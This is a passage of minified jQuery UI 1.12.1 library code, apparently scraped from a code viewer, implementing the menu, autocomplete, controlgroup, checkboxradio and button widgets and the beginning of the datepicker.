.ui-menu-divider"),o=n.children().not(".ui-menu").uniqueId().attr({tabIndex:-1,role:this._itemRole()}),this._addClass(n,"ui-menu-item")._addClass(o,"ui-menu-item-wrapper"),i.filter(".ui-state-disabled").attr("aria-disabled","true"),this.active&&!t.contains(this.element[0],this.active[0])&&this.blur()},_itemRole:function(){return{menu:"menuitem",listbox:"option"}[this.options.role]},_setOption:function(t,e){if("icons"===t){var i=this.element.find(".ui-menu-icon");this._removeClass(i,null,this.options.icons.submenu)._addClass(i,null,e.submenu)}this._super(t,e)},_setOptionDisabled:function(t){this._super(t),this.element.attr("aria-disabled",t+""),this._toggleClass(null,"ui-state-disabled",!!t)},focus:function(t,e){var i,s,n;this.blur(t,t&&"focus"===t.type),this._scrollIntoView(e),this.active=e.first(),s=this.active.children(".ui-menu-item-wrapper"),this._addClass(s,null,"ui-state-active"),this.options.role&&this.element.attr("aria-activedescendant",s.attr("id")),n=this.active.parent().closest(".ui-menu-item").children(".ui-menu-item-wrapper"),this._addClass(n,null,"ui-state-active"),t&&"keydown"===t.type?this._close():this.timer=this._delay(function(){this._close()},this.delay),i=e.children(".ui-menu"),i.length&&t&&/^mouse/.test(t.type)&&this._startOpening(i),this.activeMenu=e.parent(),this._trigger("focus",t,{item:e})},_scrollIntoView:function(e){var i,s,n,o,a,r;this._hasScroll()&&(i=parseFloat(t.css(this.activeMenu[0],"borderTopWidth"))||0,s=parseFloat(t.css(this.activeMenu[0],"paddingTop"))||0,n=e.offset().top-this.activeMenu.offset().top-i-s,o=this.activeMenu.scrollTop(),a=this.activeMenu.height(),r=e.outerHeight(),0>n?this.activeMenu.scrollTop(o+n):n+r>a&&this.activeMenu.scrollTop(o+n-a+r))},blur:function(t,e){e||clearTimeout(this.timer),this.active&&(this._removeClass(this.active.children(".ui-menu-item-wrapper"),null,"ui-state-active"),this._trigger("blur",t,{item:this.active}),this.active=null)},_startOpening:function(t){clearTimeout(this.timer),"true"===t.attr("aria-hidden")&&(this.timer=this._delay(function(){this._close(),this._open(t)},this.delay))},_open:function(e){var i=t.extend({of:this.active},this.options.position);clearTimeout(this.timer),this.element.find(".ui-menu").not(e.parents(".ui-menu")).hide().attr("aria-hidden","true"),e.show().removeAttr("aria-hidden").attr("aria-expanded","true").position(i)},collapseAll:function(e,i){clearTimeout(this.timer),this.timer=this._delay(function(){var s=i?this.element:t(e&&e.target).closest(this.element.find(".ui-menu"));s.length||(s=this.element),this._close(s),this.blur(e),this._removeClass(s.find(".ui-state-active"),null,"ui-state-active"),this.activeMenu=s},this.delay)},_close:function(t){t||(t=this.active?this.active.parent():this.element),t.find(".ui-menu").hide().attr("aria-hidden","true").attr("aria-expanded","false")},_closeOnDocumentClick:function(e){return!t(e.target).closest(".ui-menu").length},_isDivider:function(t){return!/[^\-\u2014\u2013\s]/.test(t.text())},collapse:function(t){var e=this.active&&this.active.parent().closest(".ui-menu-item",this.element);e&&e.length&&(this._close(),this.focus(t,e))},expand:function(t){var e=this.active&&this.active.children(".ui-menu ").find(this.options.items).first();e&&e.length&&(this._open(e.parent()),this._delay(function(){this.focus(t,e)}))},next:function(t){this._move("next","first",t)},previous:function(t){this._move("prev","last",t)},isFirstItem:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},isLastItem:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},_move:function(t,e,i){var s;this.active&&(s="first"===t||"last"===t?this.active["first"===t?"prevAll":"nextAll"](".ui-menu-item").eq(-1):this.active[t+"All"](".ui-menu-item").eq(0)),s&&s.length&&this.active||(s=this.activeMenu.find(this.options.items)[e]()),this.focus(i,s)},nextPage:function(e){var i,s,n;return this.active?(this.isLastItem()||(this._hasScroll()?(s=this.active.offset().top,n=this.element.height(),this.active.nextAll(".ui-menu-item").each(function(){return i=t(this),0>i.offset().top-s-n}),this.focus(e,i)):this.focus(e,this.activeMenu.find(this.options.items)[this.active?"last":"first"]())),void 0):(this.next(e),void 0)},previousPage:function(e){var i,s,n;return this.active?(this.isFirstItem()||(this._hasScroll()?(s=this.active.offset().top,n=this.element.height(),this.active.prevAll(".ui-menu-item").each(function(){return i=t(this),i.offset().top-s+n>0}),this.focus(e,i)):this.focus(e,this.activeMenu.find(this.options.items).first())),void 0):(this.next(e),void 0)},_hasScroll:function(){return this.element.outerHeight()<this.element.prop("scrollHeight")},select:function(e){this.active=this.active||t(e.target).closest(".ui-menu-item");var i={item:this.active};this.active.has(".ui-menu").length||this.collapseAll(e,!0),this._trigger("select",e,i)},_filterMenuItems:function(e){var i=e.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&"),s=RegExp("^"+i,"i");return this.activeMenu.find(this.options.items).filter(".ui-menu-item").filter(function(){return s.test(t.trim(t(this).children(".ui-menu-item-wrapper").text()))})}}),t.widget("ui.autocomplete",{version:"1.12.1",defaultElement:"<input>",options:{appendTo:null,autoFocus:!1,delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null,change:null,close:null,focus:null,open:null,response:null,search:null,select:null},requestIndex:0,pending:0,_create:function(){var e,i,s,n=this.element[0].nodeName.toLowerCase(),o="textarea"===n,a="input"===n;
16
vendor: 32,597 bytes, line 16
16this.isMultiLine=o||!a&&this._isContentEditable(this.element),this.valueMethod=this.element[o||a?"val":"text"],this.isNewMenu=!0,this._addClass("ui-autocomplete-input"),this.element.attr("autocomplete","off"),this._on(this.element,{keydown:function(n){if(this.element.prop("readOnly"))return e=!0,s=!0,i=!0,void 0;e=!1,s=!1,i=!1;var o=t.ui.keyCode;switch(n.keyCode){case o.PAGE_UP:e=!0,this._move("previousPage",n);break;case o.PAGE_DOWN:e=!0,this._move("nextPage",n);break;case o.UP:e=!0,this._keyEvent("previous",n);break;case o.DOWN:e=!0,this._keyEvent("next",n);break;case o.ENTER:this.menu.active&&(e=!0,n.preventDefault(),this.menu.select(n));break;case o.TAB:this.menu.active&&this.menu.select(n);break;case o.ESCAPE:this.menu.element.is(":visible")&&(this.isMultiLine||this._value(this.term),this.close(n),n.preventDefault());break;default:i=!0,this._searchTimeout(n)}},keypress:function(s){if(e)return e=!1,(!this.isMultiLine||this.menu.element.is(":visible"))&&s.preventDefault(),void 0;if(!i){var n=t.ui.keyCode;switch(s.keyCode){case n.PAGE_UP:this._move("previousPage",s);break;case n.PAGE_DOWN:this._move("nextPage",s);break;case n.UP:this._keyEvent("previous",s);break;case n.DOWN:this._keyEvent("next",s)}}},input:function(t){return s?(s=!1,t.preventDefault(),void 0):(this._searchTimeout(t),void 0)},focus:function(){this.selectedItem=null,this.previous=this._value()},blur:function(t){return this.cancelBlur?(delete this.cancelBlur,void 0):(clearTimeout(this.searching),this.close(t),this._change(t),void 0)}}),this._initSource(),this.menu=t("<ul>").appendTo(this._appendTo()).menu({role:null}).hide().menu("instance"),this._addClass(this.menu.element,"ui-autocomplete","ui-front"),this._on(this.menu.element,{mousedown:function(e){e.preventDefault(),this.cancelBlur=!0,this._delay(function(){delete this.cancelBlur,this.element[0]!==t.ui.safeActiveElement(this.document[0])&&this.element.trigger("focus")})},menufocus:function(e,i){var s,n;return this.isNewMenu&&(this.isNewMenu=!1,e.originalEvent&&/^mouse/.test(e.originalEvent.type))?(this.menu.blur(),this.document.one("mousemove",function(){t(e.target).trigger(e.originalEvent)}),void 0):(n=i.item.data("ui-autocomplete-item"),!1!==this._trigger("focus",e,{item:n})&&e.originalEvent&&/^key/.test(e.originalEvent.type)&&this._value(n.value),s=i.item.attr("aria-label")||n.value,s&&t.trim(s).length&&(this.liveRegion.children().hide(),t("<div>").text(s).appendTo(this.liveRegion)),void 0)},menuselect:function(e,i){var s=i.item.data("ui-autocomplete-item"),n=this.previous;this.element[0]!==t.ui.safeActiveElement(this.document[0])&&(this.element.trigger("focus"),this.previous=n,this._delay(function(){this.previous=n,this.selectedItem=s})),!1!==this._trigger("select",e,{item:s})&&this._value(s.value),this.term=this._value(),this.close(e),this.selectedItem=s}}),this.liveRegion=t("<div>",{role:"status","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body),this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible"),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_destroy:function(){clearTimeout(this.searching),this.element.removeAttr("autocomplete"),this.menu.element.remove(),this.liveRegion.remove()},_setOption:function(t,e){this._super(t,e),"source"===t&&this._initSource(),"appendTo"===t&&this.menu.element.appendTo(this._appendTo()),"disabled"===t&&e&&this.xhr&&this.xhr.abort()},_isEventTargetInWidget:function(e){var i=this.menu.element[0];return e.target===this.element[0]||e.target===i||t.contains(i,e.target)},_closeOnClickOutside:function(t){this._isEventTargetInWidget(t)||this.close()},_appendTo:function(){var e=this.options.appendTo;return e&&(e=e.jquery||e.nodeType?t(e):this.document.find(e).eq(0)),e&&e[0]||(e=this.element.closest(".ui-front, dialog")),e.length||(e=this.document[0].body),e},_initSource:function(){var e,i,s=this;t.isArray(this.options.source)?(e=this.options.source,this.source=function(i,s){s(t.ui.autocomplete.filter(e,i.term))}):"string"==typeof this.options.source?(i=this.options.source,this.source=function(e,n){s.xhr&&s.xhr.abort(),s.xhr=t.ajax({url:i,data:e,dataType:"json",success:function(t){n(t)},error:function(){n([])}})}):this.source=this.options.source},_searchTimeout:function(t){clearTimeout(this.searching),this.searching=this._delay(function(){var e=this.term===this._value(),i=this.menu.element.is(":visible"),s=t.altKey||t.ctrlKey||t.metaKey||t.shiftKey;(!e||e&&!i&&!s)&&(this.selectedItem=null,this.search(null,t))},this.options.delay)},search:function(t,e){return t=null!=t?t:this._value(),this.term=this._value(),t.length<this.options.minLength?this.close(e):this._trigger("search",e)!==!1?this._search(t):void 0},_search:function(t){this.pending++,this._addClass("ui-autocomplete-loading"),this.cancelSearch=!1,this.source({term:t},this._response())},_response:function(){var e=++this.requestIndex;return t.proxy(function(t){e===this.requestIndex&&this.__response(t),this.pending--,this.pending||this._removeClass("ui-autocomplete-loading")},this)},__response:function(t){t&&(t=this._normalize(t)),this._trigger("response",null,{content:t}),!this.options.disabled&&t&&t.length&&!this.cancelSearch?(this._suggest(t),this._trigger("open")):this._close()},close:function(t){this.cancelSearch=!0,this._close(t)},_close:function(t){this._off(this.document,"mousedown"),this.menu.element.is(":visible")&&(this.menu.element.hide(),this.menu.blur(),this.isNewMenu=!0,this._trigger("close",t))},_change:function(t){this.previous!==this._value()&&this._trigger("change",t,{item:this.selectedItem})},_normalize:function(e){return e.length&&e[0].label&&e[0].value?e:t.map(e,function(e){return"string"==typeof e?{label:e,value:e}:t.extend({},e,{label:e.label||e.value,value:e.value||e.label})})},_suggest:function(e){var i=this.menu.element.empty();this._renderMenu(i,e),this.isNewMenu=!0,this.menu.refresh(),i.show(),this._resizeMenu(),i.position(t.extend({of:this.element},this.options.position)),this.options.autoFocus&&this.menu.next(),this._on(this.document,{mousedown:"_closeOnClickOutside"})},_resizeMenu:function(){var t=this.menu.element;t.outerWidth(Math.max(t.width("").outerWidth()+1,this.element.outerWidth()))},_renderMenu:function(e,i){var s=this;t.each(i,function(t,i){s._renderItemData(e,i)})},_renderItemData:function(t,e){return this._renderItem(t,e).data("ui-autocomplete-item",e)},_renderItem:function(e,i){return t("<li>").append(t("<div>").text(i.label)).appendTo(e)},_move:function(t,e){return this.menu.element.is(":visible")?this.menu.isFirstItem()&&/^previous/.test(t)||this.menu.isLastItem()&&/^next/.test(t)?(this.isMultiLine||this._value(this.term),this.menu.blur(),void 0):(this.menu[t](e),void 0):(this.search(null,e),void 0)},widget:function(){return this.menu.element},_value:function(){return this.valueMethod.apply(this.element,arguments)},_keyEvent:function(t,e){(!this.isMultiLine||this.menu.element.is(":visible"))&&(this._move(t,e),e.preventDefault())},_isContentEditable:function(t){if(!t.length)return!1;var e=t.prop("contentEditable");return"inherit"===e?this._isContentEditable(t.parent()):"true"===e}}),t.extend(t.ui.autocomplete,{escapeRegex:function(t){return t.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&")},filter:function(e,i){var s=RegExp(t.ui.autocomplete.escapeRegex(i),"i");return t.grep(e,function(t){return s.test(t.label||t.value||t)})}}),t.widget("ui.autocomplete",t.ui.autocomplete,{options:{messages:{noResults:"No search results.",results:function(t){return t+(t>1?" results are":" result is")+" available, use up and down arrow keys to navigate."}}},__response:function(e){var i;this._superApply(arguments),this.options.disabled||this.cancelSearch||(i=e&&e.length?this.options.messages.results(e.length):this.options.messages.noResults,this.liveRegion.children().hide(),t("<div>").text(i).appendTo(this.liveRegion))}}),t.ui.autocomplete;var g=/ui-corner-([a-z]){2,6}/g;t.widget("ui.controlgroup",{version:"1.12.1",defaultElement:"<div>",options:{direction:"horizontal",disabled:null,onlyVisible:!0,items:{button:"input[type=button], input[type=submit], input[type=reset], button, a",controlgroupLabel:".ui-controlgroup-label",checkboxradio:"input[type='checkbox'], input[type='radio']",selectmenu:"select",spinner:".ui-spinner-input"}},_create:function(){this._enhance()},_enhance:function(){this.element.attr("role","toolbar"),this.refresh()},_destroy:function(){this._callChildMethod("destroy"),this.childWidgets.removeData("ui-controlgroup-data"),this.element.removeAttr("role"),this.options.items.controlgroupLabel&&this.element.find(this.options.items.controlgroupLabel).find(".ui-controlgroup-label-contents").contents().unwrap()},_initWidgets:function(){var e=this,i=[];t.each(this.options.items,function(s,n){var o,a={};return n?"controlgroupLabel"===s?(o=e.element.find(n),o.each(function(){var e=t(this);e.children(".ui-controlgroup-label-contents").length||e.contents().wrapAll("<span class='ui-controlgroup-label-contents'></span>")}),e._addClass(o,null,"ui-widget ui-widget-content ui-state-default"),i=i.concat(o.get()),void 0):(t.fn[s]&&(a=e["_"+s+"Options"]?e["_"+s+"Options"]("middle"):{classes:{}},e.element.find(n).each(function(){var n=t(this),o=n[s]("instance"),r=t.widget.extend({},a);if("button"!==s||!n.parent(".ui-spinner").length){o||(o=n[s]()[s]("instance")),o&&(r.classes=e._resolveClassesValues(r.classes,o)),n[s](r);var h=n[s]("widget");t.data(h[0],"ui-controlgroup-data",o?o:n[s]("instance")),i.push(h[0])}})),void 0):void 0}),this.childWidgets=t(t.unique(i)),this._addClass(this.childWidgets,"ui-controlgroup-item")},_callChildMethod:function(e){this.childWidgets.each(function(){var i=t(this),s=i.data("ui-controlgroup-data");s&&s[e]&&s[e]()})},_updateCornerClass:function(t,e){var i="ui-corner-top ui-corner-bottom ui-corner-left ui-corner-right ui-corner-all",s=this._buildSimpleOptions(e,"label").classes.label;this._removeClass(t,null,i),this._addClass(t,null,s)},_buildSimpleOptions:function(t,e){var i="vertical"===this.options.direction,s={classes:{}};return s.classes[e]={middle:"",first:"ui-corner-"+(i?"top":"left"),last:"ui-corner-"+(i?"bottom":"right"),only:"ui-corner-all"}[t],s},_spinnerOptions:function(t){var e=this._buildSimpleOptions(t,"ui-spinner");return e.classes["ui-spinner-up"]="",e.classes["ui-spinner-down"]="",e},_buttonOptions:function(t){return this._buildSimpleOptions(t,"ui-button")},_checkboxradioOptions:function(t){return this._buildSimpleOptions(t,"ui-checkboxradio-label")},_selectmenuOptions:function(t){var e="vertical"===this.options.direction;return{width:e?"auto":!1,classes:{middle:{"ui-selectmenu-button-open":"","ui-selectmenu-button-closed":""},first:{"ui-selectmenu-button-open":"ui-corner-"+(e?"top":"tl"),"ui-selectmenu-button-closed":"ui-corner-"+(e?"top":"left")},last:{"ui-selectmenu-button-open":e?"":"ui-corner-tr","ui-selectmenu-button-closed":"ui-corner-"+(e?"bottom":"right")},only:{"ui-selectmenu-button-open":"ui-corner-top","ui-selectmenu-button-closed":"ui-corner-all"}}[t]}},_resolveClassesValues:function(e,i){var s={};return t.each(e,function(n){var o=i.options.classes[n]||"";o=t.trim(o.replace(g,"")),s[n]=(o+" "+e[n]).replace(/\s+/g," ")}),s},_setOption:function(t,e){return"direction"===t&&this._removeClass("ui-controlgroup-"+this.options.direction),this._super(t,e),"disabled"===t?(this._callChildMethod(e?"disable":"enable"),void 0):(this.refresh(),void 0)},refresh:function(){var e,i=this;this._addClass("ui-controlgroup ui-controlgroup-"+this.options.direction),"horizontal"===this.options.direction&&this._addClass(null,"ui-helper-clearfix"),this._initWidgets(),e=this.childWidgets,this.options.onlyVisible&&(e=e.filter(":visible")),e.length&&(t.each(["first","last"],function(t,s){var n=e[s]().data("ui-controlgroup-data");if(n&&i["_"+n.widgetName+"Options"]){var o=i["_"+n.widgetName+"Options"](1===e.length?"only":s);o.classes=i._resolveClassesValues(o.classes,n),n.element[n.widgetName](o)}else i._updateCornerClass(e[s](),s)}),this._callChildMethod("refresh"))}}),t.widget("ui.checkboxradio",[t.ui.formResetMixin,{version:"1.12.1",options:{disabled:null,label:null,icon:!0,classes:{"ui-checkboxradio-label":"ui-corner-all","ui-checkboxradio-icon":"ui-corner-all"}},_getCreateOptions:function(){var e,i,s=this,n=this._super()||{};return this._readType(),i=this.element.labels(),this.label=t(i[i.length-1]),this.label.length||t.error("No label found for checkboxradio widget"),this.originalLabel="",this.label.contents().not(this.element[0]).each(function(){s.originalLabel+=3===this.nodeType?t(this).text():this.outerHTML}),this.originalLabel&&(n.label=this.originalLabel),e=this.element[0].disabled,null!=e&&(n.disabled=e),n},_create:function(){var t=this.element[0].checked;this._bindFormResetHandler(),null==this.options.disabled&&(this.options.disabled=this.element[0].disabled),this._setOption("disabled",this.options.disabled),this._addClass("ui-checkboxradio","ui-helper-hidden-accessible"),this._addClass(this.label,"ui-checkboxradio-label","ui-button ui-widget"),"radio"===this.type&&this._addClass(this.label,"ui-checkboxradio-radio-label"),this.options.label&&this.options.label!==this.originalLabel?this._updateLabel():this.originalLabel&&(this.options.label=this.originalLabel),this._enhance(),t&&(this._addClass(this.label,"ui-checkboxradio-checked","ui-state-active"),this.icon&&this._addClass(this.icon,null,"ui-state-hover")),this._on({change:"_toggleClasses",focus:function(){this._addClass(this.label,null,"ui-state-focus ui-visual-focus")},blur:function(){this._removeClass(this.label,null,"ui-state-focus ui-visual-focus")}})},_readType:function(){var e=this.element[0].nodeName.toLowerCase();this.type=this.element[0].type,"input"===e&&/radio|checkbox/.test(this.type)||t.error("Can't create checkboxradio on element.nodeName="+e+" and element.type="+this.type)},_enhance:function(){this._updateIcon(this.element[0].checked)},widget:function(){return this.label},_getRadioGroup:function(){var e,i=this.element[0].name,s="input[name='"+t.ui.escapeSelector(i)+"']";return i?(e=this.form.length?t(this.form[0].elements).filter(s):t(s).filter(function(){return 0===t(this).form().length}),e.not(this.element)):t([])},_toggleClasses:function(){var e=this.element[0].checked;this._toggleClass(this.label,"ui-checkboxradio-checked","ui-state-active",e),this.options.icon&&"checkbox"===this.type&&this._toggleClass(this.icon,null,"ui-icon-check ui-state-checked",e)._toggleClass(this.icon,null,"ui-icon-blank",!e),"radio"===this.type&&this._getRadioGroup().each(function(){var e=t(this).checkboxradio("instance");e&&e._removeClass(e.label,"ui-checkboxradio-checked","ui-state-active")})},_destroy:function(){this._unbindFormResetHandler(),this.icon&&(this.icon.remove(),this.iconSpace.remove())},_setOption:function(t,e){return"label"!==t||e?(this._super(t,e),"disabled"===t?(this._toggleClass(this.label,null,"ui-state-disabled",e),this.element[0].disabled=e,void 0):(this.refresh(),void 0)):void 0},_updateIcon:function(e){var i="ui-icon ui-icon-background ";this.options.icon?(this.icon||(this.icon=t("<span>"),this.iconSpace=t("<span> </span>"),this._addClass(this.iconSpace,"ui-checkboxradio-icon-space")),"checkbox"===this.type?(i+=e?"ui-icon-check ui-state-checked":"ui-icon-blank",this._removeClass(this.icon,null,e?"ui-icon-blank":"ui-icon-check")):i+="ui-icon-blank",this._addClass(this.icon,"ui-checkboxradio-icon",i),e||this._removeClass(this.icon,null,"ui-icon-check ui-state-checked"),this.icon.prependTo(this.label).after(this.iconSpace)):void 0!==this.icon&&(this.icon.remove(),this.iconSpace.remove(),delete this.icon)},_updateLabel:function(){var t=this.label.contents().not(this.element[0]);this.icon&&(t=t.not(this.icon[0])),this.iconSpace&&(t=t.not(this.iconSpace[0])),t.remove(),this.label.append(this.options.label)},refresh:function(){var t=this.element[0].checked,e=this.element[0].disabled;this._updateIcon(t),this._toggleClass(this.label,"ui-checkboxradio-checked","ui-state-active",t),null!==this.options.label&&this._updateLabel(),e!==this.options.disabled&&this._setOptions({disabled:e})}}]),t.ui.checkboxradio,t.widget("ui.button",{version:"1.12.1",defaultElement:"<button>",options:{classes:{"ui-button":"ui-corner-all"},disabled:null,icon:null,iconPosition:"beginning",label:null,showLabel:!0},_getCreateOptions:function(){var t,e=this._super()||{};return this.isInput=this.element.is("input"),t=this.element[0].disabled,null!=t&&(e.disabled=t),this.originalLabel=this.isInput?this.element.val():this.element.html(),this.originalLabel&&(e.label=this.originalLabel),e},_create:function(){!this.option.showLabel&!this.options.icon&&(this.options.showLabel=!0),null==this.options.disabled&&(this.options.disabled=this.element[0].disabled||!1),this.hasTitle=!!this.element.attr("title"),this.options.label&&this.options.label!==this.originalLabel&&(this.isInput?this.element.val(this.options.label):this.element.html(this.options.label)),this._addClass("ui-button","ui-widget"),this._setOption("disabled",this.options.disabled),this._enhance(),this.element.is("a")&&this._on({keyup:function(e){e.keyCode===t.ui.keyCode.SPACE&&(e.preventDefault(),this.element[0].click?this.element[0].click():this.element.trigger("click"))}})},_enhance:function(){this.element.is("button")||this.element.attr("role","button"),this.options.icon&&(this._updateIcon("icon",this.options.icon),this._updateTooltip())},_updateTooltip:function(){this.title=this.element.attr("title"),this.options.showLabel||this.title||this.element.attr("title",this.options.label)},_updateIcon:function(e,i){var s="iconPosition"!==e,n=s?this.options.iconPosition:i,o="top"===n||"bottom"===n;this.icon?s&&this._removeClass(this.icon,null,this.options.icon):(this.icon=t("<span>"),this._addClass(this.icon,"ui-button-icon","ui-icon"),this.options.showLabel||this._addClass("ui-button-icon-only")),s&&this._addClass(this.icon,null,i),this._attachIcon(n),o?(this._addClass(this.icon,null,"ui-widget-icon-block"),this.iconSpace&&this.iconSpace.remove()):(this.iconSpace||(this.iconSpace=t("<span> </span>"),this._addClass(this.iconSpace,"ui-button-icon-space")),this._removeClass(this.icon,null,"ui-wiget-icon-block"),this._attachIconSpace(n))},_destroy:function(){this.element.removeAttr("role"),this.icon&&this.icon.remove(),this.iconSpace&&this.iconSpace.remove(),this.hasTitle||this.element.removeAttr("title")},_attachIconSpace:function(t){this.icon[/^(?:end|bottom)/.test(t)?"before":"after"](this.iconSpace)},_attachIcon:function(t){this.element[/^(?:end|bottom)/.test(t)?"append":"prepend"](this.icon)},_setOptions:function(t){var e=void 0===t.showLabel?this.options.showLabel:t.showLabel,i=void 0===t.icon?this.options.icon:t.icon;e||i||(t.showLabel=!0),this._super(t)},_setOption:function(t,e){"icon"===t&&(e?this._updateIcon(t,e):this.icon&&(this.icon.remove(),this.iconSpace&&this.iconSpace.remove())),"iconPosition"===t&&this._updateIcon(t,e),"showLabel"===t&&(this._toggleClass("ui-button-icon-only",null,!e),this._updateTooltip()),"label"===t&&(this.isInput?this.element.val(e):(this.element.html(e),this.icon&&(this._attachIcon(this.options.iconPosition),this._attachIconSpace(this.options.iconPosition)))),this._super(t,e),"disabled"===t&&(this._toggleClass(null,"ui-state-disabled",e),this.element[0].disabled=e,e&&this.element.blur())},refresh:function(){var t=this.element.is("input, button")?this.element[0].disabled:this.element.hasClass("ui-button-disabled");t!==this.options.disabled&&this._setOptions({disabled:t}),this._updateTooltip()}}),t.uiBackCompat!==!1&&(t.widget("ui.button",t.ui.button,{options:{text:!0,icons:{primary:null,secondary:null}},_create:function(){this.options.showLabel&&!this.options.text&&(this.options.showLabel=this.options.text),!this.options.showLabel&&this.options.text&&(this.options.text=this.options.showLabel),this.options.icon||!this.options.icons.primary&&!this.options.icons.secondary?this.options.icon&&(this.options.icons.primary=this.options.icon):this.options.icons.primary?this.options.icon=this.options.icons.primary:(this.options.icon=this.options.icons.secondary,this.options.iconPosition="end"),this._super()},_setOption:function(t,e){return"text"===t?(this._super("showLabel",e),void 0):("showLabel"===t&&(this.options.text=e),"icon"===t&&(this.options.icons.primary=e),"icons"===t&&(e.primary?(this._super("icon",e.primary),this._super("iconPosition","beginning")):e.secondary&&(this._super("icon",e.secondary),this._super("iconPosition","end"))),this._superApply(arguments),void 0)}}),t.fn.button=function(e){return function(){return!this.length||this.length&&"INPUT"!==this[0].tagName||this.length&&"INPUT"===this[0].tagName&&"checkbox"!==this.attr("type")&&"radio"!==this.attr("type")?e.apply(this,arguments):(t.ui.checkboxradio||t.error("Checkboxradio widget missing"),0===arguments.length?this.checkboxradio({icon:!1}):this.checkboxradio.apply(this,arguments))}}(t.fn.button),t.fn.buttonset=function(){return t.ui.controlgroup||t.error("Controlgroup widget missing"),"option"===arguments[0]&&"items"===arguments[1]&&arguments[2]?this.controlgroup.apply(this,[arguments[0],"items.button",arguments[2]]):"option"===arguments[0]&&"items"===arguments[1]?this.controlgroup.apply(this,[arguments[0],"items.button"]):("object"==typeof arguments[0]&&arguments[0].items&&(arguments[0].items={button:arguments[0].items}),this.controlgroup.apply(this,arguments))}),t.ui.button,t.extend(t.ui,{datepicker:{version:"1.12.1"}});var m;t.extend(s.prototype,{markerClassName:"hasDatepicker",maxRows:4,_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(t){return a(this._defaults,t||{}),this},_attachDatepicker:function(e,i){var s,n,o;s=e.nodeName.toLowerCase(),n="div"===s||"span"===s,e.id||(this.uuid+=1,e.id="dp"+this.uuid),o=this._newInst(t(e),n),o.settings=t.extend({},i||{}),"input"===s?this._connectDatepicker(e,o):n&&this._inlineDatepicker(e,o)},_newInst:function(e,i){var s=e[0].id.replace(/([^A-Za-z0-9_\-])/g,"\\\\$1");return{id:s,input:e,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:i,dpDiv:i?n(t("<div class='"+this._inlineClass+" ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>")):this.dpDiv}},_connectDatepicker:function(e,i){var s=t(e);i.append=t([]),i.trigger=t([]),s.hasClass(this.markerClassName)||(this._attachments(s,i),s.addClass(this.markerClassName).on("keydown",this._doKeyDown).on("keypress",this._doKeyPress).on("keyup",this._doKeyUp),this._autoSize(i),t.data(e,"datepicker",i),i.settings.disabled&&this._disableDatepicker(e))},_attachments:function(e,i){var s,n,o,a=this._get(i,"appendText"),r=this._get(i,"isRTL");i.append&&i.append.remove(),a&&(i.append=t("<span class='"+this._appendClass+"'>"+a+"</span>"),e[r?"before":"after"](i.append)),e.off("focus",this._showDatepicker),i.trigger&&i.trigger.remove(),s=this._get(i,"showOn"),("focus"===s||"both"===s)&&e.on("focus",this._showDatepicker),("button"===s||"both"===s)&&(n=this._get(i,"buttonText"),o=this._get(i,"buttonImage"),i.trigger=t(this._get(i,"buttonImageOnly")?t("<img/>").addClass(this._triggerClass).attr({src:o,alt:n,title:n}):t("<button type='button'></button>").addClass(this._triggerClass).html(o?t("<img/>").attr({src:o,alt:n,title:n}):n)),e[r?"before":"after"](i.trigger),i.trigger.on("click",function(){return t.datepicker._datepickerShowing&&t.datepicker._lastInput===e[0]?t.datepicker._hideDatepicker():t.datepicker._datepickerShowing&&t.datepicker._lastInput!==e[0]?(t.datepicker._hideDatepicker(),t.datepicker._showDatepicker(e[0])):t.datepicker._showDatepicker(e[0]),!1}))},_autoSize:function(t){if(this._get(t,"autoSize")&&!t.inline){var e,i,s,n,o=new Date(2009,11,20),a=this._get(t,"dateFormat");a.match(/[DM]/)&&(e=function(t){for(i=0,s=0,n=0;t.length>n;n++)t[n].length>i&&(i=t[n].length,s=n);return s},o.setMonth(e(this._get(t,a.match(/MM/)?"monthNames":"monthNamesShort"))),o.setDate(e(this._get(t,a.match(/DD/)?"dayNames":"dayNamesShort"))+20-o.getDay())),t.input.attr("size",this._formatDate(t,o).length)}},_inlineDatepicker:function(e,i){var s=t(e);s.hasClass(this.markerClassName)||(s.addClass(this.markerClassName).append(i.dpDiv),t.data(e,"datepicker",i),this._setDate(i,this._getDefaultDate(i),!0),this._updateDatepicker(i),this._updateAlternate(i),i.settings.disabled&&this._disableDatepicker(e),i.dpDiv.css("display","block"))},_dialogDatepicker:function(e,i,s,n,o){var r,h,l,c,u,d=this._dialogInst;return d||(this.uuid+=1,r="dp"+this.uuid,this._dialogInput=t("<input type='text' id='"+r+"' style='position: absolute; top: -100px; width: 0px;'/>"),this._dialogInput.on("keydown",this._doKeyDown),t("body").append(this._dialogInput),d=this._dialogInst=this._newInst(this._dialogInput,!1),d.settings={},t.data(this._dialogInput[0],"datepicker",d)),a(d.settings,n||{}),i=i&&i.constructor===Date?this._formatDate(d,i):i,this._dialogInput.val(i),this._pos=o?o.length?o:[o.pageX,o.pageY]:null,this._pos||(h=document.documentElement.clientWidth,l=document.documentElement.clientHeight,c=document.documentElement.scrollLeft||document.body.scrollLeft,u=document.documentElement.scrollTop||document.body.scrollTop,this._pos=[h/2-100+c,l/2-150+u]),this._dialogInput.css("left",this._pos[0]+20+"px").css("top",this._pos[1]+"px"),d.settings.onSelect=s,this._inDialog=!0,this.dpDiv.addClass(this._dialogClass),this._showDatepicker(this._dialogInput[0]),t.blockUI&&t.blockUI(this.dpDiv),t.data(this._dialogInput[0],"datepicker",d),this},_destroyDatepicker:function(e){var i,s=t(e),n=t.data(e,"datepicker");s.hasClass(this.markerClassName)&&(i=e.nodeName.toLowerCase(),t.removeData(e,"datepicker"),"input"===i?(n.append.remove(),n.trigger.remove(),s.removeClass(this.markerClassName).off("focus",this._showDatepicker).off("keydown",this._doKeyDown).off("keypress",this._doKeyPress).off("keyup",this._doKeyUp)):("div"===i||"span"===i)&&s.removeClass(this.markerClassName).empty(),m===n&&(m=null))},_enableDatepicker:function(e){var 